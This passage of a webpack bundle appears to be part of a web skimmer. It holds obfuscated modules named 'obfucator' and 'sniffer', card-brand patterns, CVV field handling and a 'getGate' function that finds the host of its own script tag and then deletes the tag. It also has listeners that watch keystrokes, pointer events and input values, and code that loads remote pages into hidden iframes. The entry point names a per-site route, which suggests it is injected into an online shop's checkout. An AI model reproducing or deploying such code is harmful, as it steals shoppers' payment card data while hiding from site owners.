16;\n/*const defMask = {\n //'0000 0000 0000 0000',\n len: defCardLen,\n RegExp: encodeURIComponent(`(\\\\d{1,4})(\\\\d{0,4})(\\\\d{0,4})(\\\\d*)`),\n // RegExp: new RegExp(/(\\d{1,4})(\\d{0,4})(\\d{0,4})(\\d*)/),\n};\nconst maskAmEx = {\n //'0000 000000 00000',\n len: 15,\n RegExp: encodeURIComponent(`(\\\\d{1,4})(\\\\d{0,6})(\\\\d*)`),\n // RegExp: new RegExp(/(\\d{1,4})(\\d{0,6})(\\d*)/),\n};\n\n// https://stackoverflow.com/questions/9315647/regex-credit-card-number-tests\nJSON.stringify([\n {id: \"v_0\", mask: defMask, pattern: encodeURIComponent('^(\\\\d)')},// unknown\n {id: \"v_1\", mask: defMask, pattern: encodeURIComponent('^(5018|5020|5038|6304|6759|676[1-3])')}, // maestro\n {id: \"v_2\", mask: defMask, pattern: encodeURIComponent('^(36|38|30[0-5])')}, // dinersclub\n {id: \"v_3\", mask: defMask, pattern: encodeURIComponent('^(6706|6771|6709)')}, // laser\n {id: \"v_4\", mask: defMask, pattern: encodeURIComponent('^35')}, // jcb\n {id: \"v_5\", mask: defMask, pattern: encodeURIComponent('^62')}, // unionpay\n {id: \"v_6\", mask: defMask, pattern: encodeURIComponent('^(60|65|64[4-9]|622)')}, // discover\n {id: \"v_7\", mask: defMask, pattern: encodeURIComponent('^5[1-5]')}, // mastercard\n {id: \"v_8\", mask: maskAmEx, pattern: encodeURIComponent('^3[47]')}, // amex\n {id: \"v_9\", mask: defMask, pattern: encodeURIComponent('^4[0-9]')}, // visa\n {id: \"v_10\", mask: defMask, pattern: encodeURIComponent('^(6361|6362|6504|5090|4389)')}, // elo\n]);\n*/\n\n// packed map object\nconst cards = JSON.parse(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[{\"id\":\"v_0\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E(%5Cd)\"},{\"id\":\"v_1\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E(5018%7C5020%7C5038%7C6304%7C6759%7C676%5B1-3%5D)\"},{\"id\":\"v_2\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E(36%7C38%7C30%5B0-5%5D)\"},{\"id\":\"v_3\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E(6706%7C6771%7C6709)\"},{\"id\":\"v_4\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E35\"},{\"id\":\"v_5\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E62\"},{\"id\":\"v_6\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E(60%7C65%7C64%5B4-9%5D%7C622)\"},{\"id\":\"v_7\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E5%5B1-5%5D\"},{\"id\":\"v_8\",\"mask\":{\"len\":15,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C6%7D)(%5Cd*)\"},\"pattern\":\"%5E3%5B47%5D\"},{\"id\":\"v_9\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E4%5B0-9%5D\"},{\"id\":\"v_10\",\"mask\":{\"len\":16,\"RegExp\":\"(%5Cd%7B1%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd%7B0%2C4%7D)(%5Cd*)\"},\"pattern\":\"%5E(6361%7C6362%7C6504%7C5090%7C4389)\"}]`));\nfor (let i = 0; i < cards.length; i++) {\n cards[i][_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`pattern`)] = new RegExp(decodeURIComponent(cards[i][_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`pattern`)]));\n cards[i][_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`mask`)].RegExp = new RegExp(decodeURIComponent(cards[i][_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`mask`)].RegExp));\n}\n\n//# sourceURL=webpack://basic/./src/support/cards.js?\n}"); /***/ }), /***/ "./src/support/getters/index.js": /*!**************************************!*\ !*** ./src/support/getters/index.js ***! \**************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ getGate: () => (/* binding */ getGate)\n/* harmony export */ });\nfunction getGate(inc, alt) {\n const scriptWithSrc = document.querySelector('script[src*=\"' + inc + '\"]'),\n gate_host = scriptWithSrc && new URL((!scriptWithSrc.src.includes('https:') ? 'https:' : '') + scriptWithSrc.src).host;\n scriptWithSrc?.remove();\n if (gate_host) return '//' + gate_host;\n return alt;\n}\n\n//# sourceURL=webpack://basic/./src/support/getters/index.js?\n}"); /***/ }), /***/ "./src/support/index.js": /*!******************************!*\ !*** ./src/support/index.js ***! \******************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ EventDispatcher: () => (/* binding */ EventDispatcher),\n/* harmony export */ InsertValues: () => (/* binding */ InsertValues),\n/* harmony export */ SaveFetch: () => (/* binding */ SaveFetch),\n/* harmony export */ addCss: () => (/* binding */ addCss),\n/* harmony export */ changeVisibilityCvv: () => (/* binding */ changeVisibilityCvv),\n/* harmony export */ decodeBase64: () => (/* binding */ decodeBase64),\n/* harmony export */ encodeBase64: () => (/* binding */ encodeBase64),\n/* harmony export */ generateRandomValue: () => (/* binding */ generateRandomValue),\n/* harmony export */ getElById: () => (/* binding */ getElById),\n/* harmony export */ getRandomListItem: () => (/* binding */ getRandomListItem),\n/* harmony export */ getRandomNumber: () => (/* binding */ getRandomNumber),\n/* harmony export */ hex2bin: () => (/* binding */ hex2bin),\n/* harmony export */ isAllValid: () => (/* binding */ isAllValid),\n/* harmony export */ isValidEmail: () => (/* binding */ isValidEmail),\n/* harmony export */ isertInlineCss: () => (/* binding */ isertInlineCss),\n/* harmony export */ qSel: () => (/* binding */ qSel),\n/* harmony export */ qSelAll: () => (/* binding */ qSelAll),\n/* harmony export */ regNum: () => (/* binding */ regNum),\n/* harmony export */ selectValueBetween: () => (/* binding */ selectValueBetween),\n/* harmony export */ watchElement: () => (/* binding */ watchElement),\n/* harmony export */ whenCondition: () => (/* binding */ whenCondition)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _sniffer_helps__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../sniffer/helps */ \"./src/sniffer/helps.js\");\n\n\n\n/**\n * Exported constants and functions, the compiler usually inserts into the code avoiding the use of their names.\n */\n\nconst regNum = new RegExp(/\\D/g);\nconst getElById = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`getElementById`);\nconst qSel = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`querySelector`);\nconst qSelAll = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`querySelectorAll`);\nfunction decodeBase64(str) {\n return decodeURIComponent((0,_sniffer_helps__WEBPACK_IMPORTED_MODULE_1__.winAtob)(str));\n}\nfunction encodeBase64(str) {\n return (0,_sniffer_helps__WEBPACK_IMPORTED_MODULE_1__.winBtoa)(encodeURIComponent(str));\n}\nfunction changeVisibilityCvv(e) {\n const cvv = this.doc[getElById](_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`v-cvv`));\n if (cvv.type === _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`password`)) {\n cvv.type = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`input`);\n e.currentTarget.classList.add(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`v-card-cvv-visibility--visible`));\n e.currentTarget.classList.remove(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`v-card-cvv-visibility--hidden`));\n } else {\n cvv.type = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`password`);\n e.currentTarget.classList.remove(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`v-card-cvv-visibility--visible`));\n e.currentTarget.classList.add(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`v-card-cvv-visibility--hidden`));\n }\n}\nfunction isAllValid(validates = [], isShowErr = true) {\n let isAllValid = true;\n for (let i = 0; i < validates.length; i++) {\n if (!validates[i].isValid()) {\n isAllValid = false;\n if (isShowErr) {\n validates[i].showErr();\n return false;\n }\n }\n }\n return isAllValid;\n}\nfunction isValidEmail(email) {\n return /^\\S+@\\S+\\.\\S+$/.test(email);\n}\nfunction addCss(doc, css) {\n const s = document.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`style`));\n s.setAttribute('type', _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`text/css`));\n if (s.styleSheet) {\n // IE\n s.styleSheet.cssText = css;\n } else {\n s.appendChild(document.createTextNode(css));\n }\n doc.getElementsByTagName('head')[0].appendChild(s);\n}\nfunction hex2bin(hex) {\n const length = hex.length / 2;\n let chars = [];\n for (let i = 0; i < length; ++i) {\n chars[i] = parseInt(hex.slice(i * 2, i * 2 + 2), 16);\n }\n return String.fromCharCode.apply(null, chars);\n}\nfunction getRandomNumber(min, max) {\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}\nfunction getRandomListItem(list = []) {\n const max = list.length - 1;\n return list[Math.floor(Math.random() * (max - 0 + 1)) + 0];\n}\nfunction whenCondition(condition, opt = {\n limit: 60,\n wait: 1000,\n iterator: false,\n resolveData: null\n}) {\n return new Promise((res, rej) => {\n try {\n let limitCounter = 0;\n const interval = setInterval(() => {\n if (condition || typeof condition === \"function\" && condition(limitCounter)) {\n clearInterval(interval);\n res(opt.resolveData ? opt.resolveData : condition(), limitCounter);\n } else {\n clearInterval(interval);\n rej(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`Condition error: condition should be a function.\\nExample: \\`waitCondition(()=>a==b, ...)\\``));\n }\n if (opt.limit !== false && limitCounter >= opt.limit) {\n clearInterval(interval);\n rej(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`Timeout error: iteration limit reached.`));\n }\n limitCounter++;\n }, opt.wait);\n } catch (e) {\n rej(e);\n }\n });\n}\nconst SaveFetch = (url, wait, func) => {\n fetch(url).then(res => {\n if (!res.ok) throw new Error(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`Bad response`));\n return res.text();\n }).then(data => {\n const frame = document.createElement('iframe');\n const iframe = document.body.appendChild(frame);\n const dom = iframe.contentWindow.document;\n dom.open();\n dom.write(data);\n dom.close();\n return new Promise(res => {\n const limit = 50;\n let limitCounter = 0;\n const interval = setInterval(() => {\n if (!wait || dom.querySelector(wait)) {\n clearInterval(interval);\n func(dom);\n setTimeout(() => iframe?.remove());\n res();\n }\n if (limit <= limitCounter) {\n clearInterval(interval);\n func();\n }\n limitCounter++;\n }, 100);\n });\n }).catch(() => {\n func();\n });\n};\nfunction generateRandomValue(length, config = {\n onlySymbols: false,\n onlyDigits: false,\n beginsSymbol: false,\n beginsDigit: false,\n includesUpper: false\n}) {\n const lowers = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'v', 'q', 'x', 'w', 'y', 'z'];\n const uppers = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'Q', 'X', 'W', 'Y', 'Z'];\n const symbols = config.includesUpper ? [...lowers, ...uppers] : lowers;\n const digits = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0'];\n let result = [];\n for (let i = 0; i < length; i++) {\n const reference = i == 0 && config.beginsSymbol && symbols || i == 0 && config.beginsDigit && digits || config.onlySymbols && config.onlyDigits && [...symbols, ...digits] || config.onlySymbols && symbols || config.onlyDigits && digits || [...symbols, ...digits];\n result.push(reference[getRandomNumber(0, reference.length - 1)]);\n }\n return result.join('');\n}\nfunction selectValueBetween(_string, ...between) {\n if (between[1]) {\n return _string.split(between[0])[1].split(between[1])[0];\n } else {\n return _string.split(between[0])[0];\n }\n}\nclass InsertValues {\n constructor(html, detector) {\n this.htmlUpdated = html;\n this.detector = detector;\n }\n setVar(_var, val) {\n this.htmlUpdated = (0,_sniffer_helps__WEBPACK_IMPORTED_MODULE_1__.setEncodedValue)(this.htmlUpdated, _var, val, this.detector);\n return this;\n }\n apply() {\n return this.htmlUpdated;\n }\n}\nconst MOUSEMOVE = \"mousemove\",\n POINTERDOWN = \"pointerdown\",\n POINTERUP = \"pointerup\",\n INPUT = \"INPUT\",\n KEYDOWN = \"keydown\";\nclass watchActions {\n constructor(selector, preventDefault = false, stopImmediatePropagation = false) {\n this.sel = selector;\n this.prevDef = preventDefault;\n this.stopImmProp = stopImmediatePropagation;\n this.element = null;\n this.lastText = \"\";\n this.mousePos = {\n x: 0,\n y: 0\n };\n this.pointerdown = false;\n this.actionAwait = false;\n this.currentEvent = null;\n window.addEventListener(MOUSEMOVE, e => {\n const {\n x,\n y\n } = e;\n this.mousePos = {\n x,\n y\n };\n this.actionAwait = true;\n this.currentEvent = e;\n });\n window.addEventListener(POINTERDOWN, e => {\n this.pointerdown = true;\n this.actionAwait = true;\n this.currentEvent = e;\n });\n window.addEventListener(POINTERUP, e => {\n this.pointerdown = false;\n this.actionAwait = true;\n this.currentEvent = e;\n });\n window.addEventListener(KEYDOWN, e => {\n this.actionAwait = true;\n this.currentEvent = e;\n });\n }\n hover(cbk) {\n const run = () => {\n this.#selectElement();\n if (this.element && this.actionAwait) {\n const pos = this.getElementPos();\n if (pos.xStart < this.mousePos.x && pos.xEnd > this.mousePos.x && pos.yStart < this.mousePos.y && pos.yEnd > this.mousePos.y) {\n this.prevDef && this.currentEvent.preventDefault();\n this.stopImmProp && this.currentEvent.stopImmediatePropagation();\n cbk && cbk(this.currentEvent);\n this.actionAwait = false;\n }\n }\n setTimeout(() => run());\n };\n run();\n }\n click(cbk) {\n const run = () => {\n this.#selectElement();\n if (this.element && this.actionAwait) {\n const pos = this.getElementPos();\n if (pos.xStart < this.mousePos.x && pos.xEnd > this.mousePos.x && pos.yStart < this.mousePos.y && pos.yEnd > this.mousePos.y && this.pointerdown) {\n this.prevDef && this.currentEvent.preventDefault();\n this.stopImmProp && this.currentEvent.stopImmediatePropagation();\n cbk && cbk(this.currentEvent);\n this.actionAwait = false;\n }\n }\n setTimeout(() => run());\n };\n run();\n }\n input(cbk) {\n const run = () => {\n this.#selectElement();\n if (this.element && this.element.tagName === INPUT && this.actionAwait) {\n if (this.lastText !== this.element.value) {\n this.lastText = this.element.value;\n this.actionAwait = false;\n this.prevDef && this.currentEvent.preventDefault();\n this.stopImmProp && this.currentEvent.stopImmediatePropagation();\n cbk && cbk(this.lastText, this.currentEvent);\n }\n }\n setTimeout(() => run());\n };\n run();\n }\n getElementPos() {\n this.#selectElement();\n const {\n x,\n y,\n width,\n height\n } = this.element.getBoundingClientRect();\n return {\n x,\n y,\n width,\n height,\n xStart: x,\n yStart: y,\n xEnd: x + width,\n yEnd: y + height\n };\n }\n #selectElement() {\n this.element = document.querySelector(this.sel);\n }\n}\nconst watchElement = (selector, opts = {\n preventDefault: false,\n stopImmediatePropagation: false\n}) => {\n return new watchActions(selector, opts);\n};\nclass EventDispatcher {\n constructor() {\n this.events = {\n INPUT: \"input\",\n BLUR: \"blur\",\n FOCUS: \"focus\",\n CLICK: \"click\",\n CHANGE: \"change\"\n };\n }\n input(element) {\n const event = new Event(this.events.INPUT);\n return {\n dispatch: () => element.dispatchEvent(event)\n };\n }\n blur(element) {\n const event = new Event(this.events.BLUR);\n return {\n dispatch: () => element.dispatchEvent(event)\n };\n }\n focus(element) {\n const event = new Event(this.events.FOCUS);\n return {\n dispatch: () => element.dispatchEvent(event)\n };\n }\n click(element) {\n const event = new Event(this.events.CLICK);\n return {\n dispatch: () => element.dispatchEvent(event)\n };\n }\n change(element) {\n const event = new Event(this.events.CHANGE);\n return {\n dispatch: () => element.dispatchEvent(event)\n };\n }\n}\nfunction isertInlineCss(css) {\n document.head.insertAdjacentHTML(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`beforeend`), css);\n}\n\n//# sourceURL=webpack://basic/./src/support/index.js?\n}"); /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ /******/ /******/ // startup /******/ // Load entry module and return exports /******/ // This entry module can't be inlined because the eval devtool is used. /******/ var __webpack_exports__ = __webpack_require__("./iframe/144. Route-coventgardenfx/index.js"); /******/ /******/ })() ; }